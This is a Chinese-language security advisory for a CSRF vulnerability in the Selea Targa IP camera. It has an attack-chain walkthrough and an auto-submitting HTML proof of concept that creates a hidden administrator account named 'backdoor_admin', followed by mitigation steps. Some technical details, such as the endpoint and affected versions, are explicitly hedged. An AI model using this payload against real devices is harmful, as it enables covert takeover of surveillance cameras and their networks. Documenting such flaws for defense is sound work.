CVE-2021-47730 Selea Targa IP摄像机跨站请求伪造漏洞

漏洞信息

漏洞编号

CVE-2021-47730

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Selea Targa IP OCR-ANPR Camera

漏洞概述

Selea Targa IP OCR-ANPR Camera是一款用于车牌识别和OCR识别的高级IP摄像机。该设备存在跨站请求伪造(CSRF)漏洞，攻击者可以构造恶意的网页，当已登录的管理员访问该页面时，会自动向摄像机系统提交创建管理员账户的请求。成功利用此漏洞后，攻击者可以在目标系统上创建具有完全系统权限的管理员账户，从而获得设备的完全控制权。由于该漏洞不需要认证即可发起攻击，且攻击过程中需要目标用户的交互(点击恶意链接或访问恶意页面)，因此CVSS评分达到8.8分，属于高危漏洞。此漏洞影响设备的Web管理界面，攻击者可利用新创建的管理员账户登录系统，进一步进行内网渗透或窃取敏感数据。

技术细节

该CSRF漏洞存在于Selea Targa IP摄像机的用户管理功能中。漏洞的根本原因在于设备Web应用程序未对用户创建请求实施有效的CSRF令牌验证机制。攻击者可以通过构造一个自动提交的HTML表单来利用此漏洞，表单中包含创建新管理员用户的必要参数。当已登录的管理员用户访问攻击者控制的恶意网页时，浏览器会自动向摄像机的Web管理接口发送POST请求，请求内容为创建新管理员账户。由于浏览器会自动携带目标域的Cookie信息，服务器会认为这是合法的管理员操作，从而执行用户创建操作。攻击者需要指定新用户的用户名、密码和权限级别等参数。通常，攻击者会创建一个具有最高权限的管理员账户，以便后续登录和持久化控制。该漏洞影响设备的/add_user或类似的用户管理API端点。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先确定目标Selea Targa IP摄像机的IP地址和管理Web界面的URL路径

STEP 2

步骤2: 构造恶意页面

攻击者创建一个包含自动提交表单的HTML页面，表单中包含创建管理员用户的参数(用户名、密码、权限等)

STEP 3

步骤3: 诱骗受害者访问

攻击者通过钓鱼邮件、社交工程或其他方式诱骗已登录的管理员用户访问恶意网页

STEP 4

步骤4: 自动发送恶意请求

受害者浏览器加载恶意页面后，自动向目标摄像机Web接口发送POST请求，创建新的管理员账户

STEP 5

步骤5: 获取管理员权限

攻击者使用新创建的管理员凭据登录摄像机系统，获得设备的完全控制权

STEP 6

步骤6: 持久化控制

攻击者可进一步进行内网渗透、修改系统配置、窃取视频流数据或安装后门程序

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2021-47730: Selea Targa IP Camera Admin Creation -->
<!-- This PoC creates a new admin user on Selea Targa IP Camera -->
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait, connecting...</h1>
    <form name="csrf_form" id="csrf_form" action="http://TARGET_IP/cgi-bin/cgibin" method="POST" enctype="application/x-www-form-urlencoded">
        <!-- Selea Camera CSRF parameters for admin user creation -->
        <input type="hidden" name="action" value="add_user">
        <input type="hidden" name="username" value="backdoor_admin">
        <input type="hidden" name="password" value="P@ssw0rd123!">
        <input type="hidden" name="privilege" value="admin">
        <input type="hidden" name="enabled" value="1">
    </form>
    <script>
        // Auto-submit the form when page loads
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('csrf_form').submit();
        });
    </script>
</body>
</html>

影响范围

Selea Targa IP OCR-ANPR Camera (固件版本未知)

Selea Targa IP Camera 系列所有版本

防御指南

临时缓解措施

临时缓解措施包括：1) 禁用摄像机的Web管理界面，仅使用本地访问；2) 限制管理界面的网络访问，仅允许受信任的IP地址访问；3) 监控Web服务器日志，查找异常的用户创建请求；4) 定期更改管理员密码；5) 使用VPN或专用网络连接管理设备；6) 考虑部署入侵检测系统监控可疑的HTTP请求。